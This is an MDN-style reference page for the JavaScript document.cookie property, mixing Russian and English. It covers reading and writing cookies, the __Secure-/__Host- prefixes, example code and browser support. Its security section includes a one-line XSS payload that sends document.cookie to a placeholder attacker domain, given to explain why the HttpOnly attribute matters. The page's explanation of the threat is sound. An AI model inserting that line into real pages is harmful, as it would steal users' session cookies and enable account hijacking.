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Статья описывает получение и установка cookies связанных с текущим документом. Общая библиотека для работы с  cookies смотри simple cookie framework.

Синтаксис

Чтение всех cookies, связанных с текущим документом

allCookies = document.cookie;

In the code above allCookies is a string containing a semicolon-separated list of all cookies (i.e. key=value pairs). Note that each key and value may be surrounded by whitespace (space and tab characters): in fact RFC 6265 mandates a single space after each semicolon, but some user agents may not abide by this.

В приведенном коде newCookie - строка в виде key=value. Заметьте, у вас есть возможность установить/обновить лишь одну связку key=value за один раз, используя этот метод.  Стоит отметить, что:

 

  • Any of the following cookie attribute values can optionally follow the key-value pair, specifying the cookie to set/update, and preceded by a semi-colon separator:
  • The cookie value string can use encodeURIComponent() to ensure that the string does not contain any commas, semicolons, or whitespace (which are disallowed in cookie values).
  • Some user agent implementations support the following cookie prefixes:
    • __Secure- Signals to the browser that it should only include the cookie in requests transmitted over a secure channel.
    • __Host- Signals to the browser that in addition to the restriction to only use the cookie from a secure origin, the scope of the cookie is limited to a path attribute passed down by the server. If the server omits the path attribute the "directory" of the request URI is used. It also signals that the domain attribute must not be present, which prevents the cookie from being sent to other domains. For Chrome the path attribute must always be the origin.

    The dash is considered part of the prefix.

    These flags are only setable with the secure attribute.

Note: As you can see from the code above, document.cookie is an accessor property with native setter and getter functions, and consequently is not a data property with a value: what you write is not the same as what you read, everything is always mediated by the JavaScript interpreter.

Примеры

Пример #1: Простое использование

document.cookie = "name=oeschger";
document.cookie = "favorite_food=tripe";
function alertCookie() {
  alert(document.cookie);
}
<button onclick="alertCookie()">Show cookies</button>

document.cookie = "test1=Hello";
document.cookie = "test2=World";

var cookieValue = document.cookie.replace(/(?:(?:^|.*;\s*)test2\s*\=\s*([^;]*).*$)|^.*$/, "$1");

function alertCookieValue() {
  alert(cookieValue);
}
<button onclick="alertCookieValue()">Show cookie value</button>

Пример #3: Выполнить операцию единожды

При использовании следующего кода замените все вхождения doSomethingOnlyOnce (наименование cookie) на другое имя.

function doOnce() {
  if (document.cookie.replace(/(?:(?:^|.*;\s*)doSomethingOnlyOnce\s*\=\s*([^;]*).*$)|^.*$/, "$1") !== "true") {
    alert("Do something here!");
    document.cookie = "doSomethingOnlyOnce=true; expires=Fri, 31 Dec 9999 23:59:59 GMT";
  }
}
<button onclick="doOnce()">Only do something once</button>

function resetOnce() { 
  document.cookie = "doSomethingOnlyOnce=; expires=Thu, 01 Jan 1970 00:00:00 GMT";
}
<button onclick="resetOnce()">Reset only once cookie</button>

 

//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.trim().indexOf('reader=') == 0
}).length) {
    console.log('The cookie "reader" exists (ES5)')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.trim().startsWith('reader=')).length) {
    console.log('The cookie "reader" exists (ES6)')
}
//ES5

if (document.cookie.split(';').filter(function(item) {
    return item.indexOf('reader=1') >= 0
}).length) {
    console.log('The cookie "reader" has "1" for value')
}

//ES2016

if (document.cookie.split(';').filter((item) => item.includes('reader=1')).length) {
    console.log('The cookie "reader" has "1" for value')
}

 

Безопасность

It is important to note that the path attribute does not protect against unauthorized reading of the cookie from a different path. It can be easily bypassed using the DOM, for example by creating a hidden iframe element with the path of the cookie, then accessing this iframe's contentDocument.cookie property. The only way to protect the cookie is by using a different domain or subdomain, due to the same origin policy.

Cookies are often used in web application to identify a user and their authenticated session. So stealing cookie from a web application, will lead to hijacking the authenticated user's session. Common ways to steal cookies include using Social Engineering or by exploiting an XSS vulnerability in the application -

(new Image()).src = "http://www.evil-domain.com/steal-cookie.php?cookie=" + document.cookie;

The HTTPOnly cookie attribute can help to mitigate this attack by preventing access to cookie value through Javascript. Read more about Cookies and Security.

Заметки

  • Starting with Firefox 2, a better mechanism for client-side storage is available - WHATWG DOM Storage.
  • You can delete a cookie by simply updating its expiration time to zero.
  • Keep in mind that the more you have cookies the more data will be transferred between the server and the client for each request. This will make each request slower. It is highly recommended for you to use WHATWG DOM Storage if you are going to keep "client-only" data.
  • RFC 2965 (Section 5.3, "Implementation Limits") specifies that there should be no maximum length of a cookie's key or value size, and encourages implementations to support arbitrarily large cookies. Each browser's implementation maximum will necessarily be different, so consult individual browser documentation.

The reason of the syntax of the document.cookie accessor property is due to the client-server nature of cookies, which differs from other client-client storage methods (like, for instance, localStorage):

HTTP/1.0 200 OK
Content-type: text/html
Set-Cookie: cookie_name1=cookie_value1
Set-Cookie: cookie_name2=cookie_value2; expires=Sun, 16 Jul 3567 06:23:41 GMT

[content of the page here]
The client sends back to the server its cookies previously stored
GET /sample_page.html HTTP/1.1
Host: www.example.org
Cookie: cookie_name1=cookie_value1; cookie_name2=cookie_value2
Accept: */*

Использование относительных ссылок в параметре path

The path parameter of a new cookie can accept only absolute paths. If you want to use relative paths, therefore, you need to convert them. The following function can translate relative paths to absolute paths. It is a general-purpose function, but can be of course successifully used for the path parameter of a new cookie, as well.

Library
/*\
|*|
|*|  :: Translate relative paths to absolute paths ::
|*|
|*|  https://developer.mozilla.org/en-US/docs/Web/API/document.cookie
|*|  https://developer.mozilla.org/User:fusionchess
|*|
|*|  The following code is released under the GNU Public License, version 3 or later.
|*|  http://www.gnu.org/licenses/gpl-3.0-standalone.html
|*|
\*/

function relPathToAbs (sRelPath) {
  var nUpLn, sDir = "", sPath = location.pathname.replace(/[^\/]*$/, sRelPath.replace(/(\/|^)(?:\.?\/+)+/g, "$1"));
  for (var nEnd, nStart = 0; nEnd = sPath.indexOf("/../", nStart), nEnd > -1; nStart = nEnd + nUpLn) {
    nUpLn = /^\/(?:\.\.\/)*/.exec(sPath.slice(nEnd))[0].length;
    sDir = (sDir + sPath.substring(nStart, nEnd)).replace(new RegExp("(?:\\\/+[^\\\/]*){0," + ((nUpLn - 1) / 3) + "}$"), "/");
  }
  return sDir + sPath.substr(nStart);
}
Sample usage
/* Let us be in /en-US/docs/Web/API/document.cookie */

alert(location.pathname);
// displays: /en-US/docs/Web/API/document.cookie

alert(relPathToAbs("./"));
// displays: /en-US/docs/Web/API/

alert(relPathToAbs("../Guide/API/DOM/Storage"));
// displays: /en-US/docs/Web/Guide/API/DOM/Storage

alert(relPathToAbs("../../Firefox"));
// displays: /en-US/docs/Firefox

alert(relPathToAbs("../Guide/././API/../../../Firefox"));
// displays: /en-US/docs/Firefox

Relative expiration-date: numeric examples

If you don't want to use an absolute date for the end parameter, here you can find some numeric examples of expiration-dates relative to the moment of storage of the cookie:

docCookies.setItem("mycookie1", "myvalue1", 864e2, "/"); // this cookie will expire in one DAY
docCookies.setItem("mycookie2", "myvalue2", 6048e2, "/"); // this cookie will expire in one WEEK
docCookies.setItem("mycookie3", "myvalue3", 2592e3, "/"); // this cookie will expire in one MONTH (30 days)
docCookies.setItem("mycookie4", "myvalue4", 31536e3, "/"); // this cookie will expire in one YEAR

Другие примеры

 

Example #5: Do something only once – a general library

Library

function executeOnce () {
  var argc = arguments.length, bImplGlob = typeof arguments[argc - 1] === "string";
  if (bImplGlob) { argc++; }
  if (argc < 3) { throw new TypeError("executeOnce - not enough arguments"); }
  var fExec = arguments[0], sKey = arguments[argc - 2];
  if (typeof fExec !== "function") { throw new TypeError("executeOnce - first argument must be a function"); }
  if (!sKey || /^(?:expires|max\-age|path|domain|secure)$/i.test(sKey)) { throw new TypeError("executeOnce - invalid identifier"); }
  if (decodeURIComponent(document.cookie.replace(new RegExp("(?:(?:^|.*;)\\s*" + encodeURIComponent(sKey).replace(/[\-\.\+\*]/g, "\\$&") + "\\s*\\=\\s*([^;]*).*$)|^.*$"), "$1")) === "1") { return false; }
  fExec.apply(argc > 3 ? arguments[1] : null, argc > 4 ? Array.prototype.slice.call(arguments, 2, argc - 2) : []);
  document.cookie = encodeURIComponent(sKey) + "=1; expires=Fri, 31 Dec 9999 23:59:59 GMT" + (bImplGlob || !arguments[argc - 1] ? "; path=/" : "");
  return true;
}

Syntax

executeOnce(callback[, thisObject[, argumentToPass1[, argumentToPass2[, …[, argumentToPassN]]]]], identifier[, onlyHere])

Description

Executes a function only once, even after the refresh of the page.

Parameters

callback
The function to be executed (function).
thisObject Optional
The this object (Object or null).
argumentToPass1, argumentToPass2, argumentToPassN Optional
The arguments of the callback function.
identifier
The identifier to check, i.e. the name of the cookie (string)
onlyHere Optional
A boolean expressing whether the cookie will use the local path (true) instead of the global one (false or undefined) (boolean or undefined)

Sample usage

function alertSomething (sMsg) {
  alert(sMsg);
}

executeOnce(alertSomething, null, "Hello world!!!!", "alert_something");

Спецификации

Specification Status Comment
Document Object Model (DOM) Level 2 HTML Specification
Определение 'Document.cookie' в этой спецификации.
Устаревшая Initial definition
Cookie Prefixes Черновик  

Браузерная поддержка

Update compatibility data on GitHub
КомпьютерыМобильные
ChromeEdgeFirefoxInternet ExplorerOperaSafariAndroid webviewChrome для AndroidFirefox для AndroidOpera для AndroidSafari on iOSSamsung Internet
cookieChrome Полная поддержка 1Edge Полная поддержка 12Firefox Полная поддержка Да
Замечания
Полная поддержка Да
Замечания
Замечания Prior to Firefox 68, cookie was available only on HTML documents; it is now available on all documents, such as XML and SVG.
IE Полная поддержка ДаOpera Полная поддержка ДаSafari Полная поддержка ДаWebView Android Полная поддержка ДаChrome Android Полная поддержка ДаFirefox Android Полная поддержка Да
Замечания
Полная поддержка Да
Замечания
Замечания Prior to Firefox 68, cookie was available only on HTML documents; it is now available on all documents, such as XML and SVG.
Opera Android Полная поддержка ДаSafari iOS Полная поддержка ДаSamsung Internet Android ?

Легенда

Полная поддержка  
Полная поддержка
Совместимость неизвестна  
Совместимость неизвестна
Смотрите замечания реализации.
Смотрите замечания реализации.

Смотрите также

 

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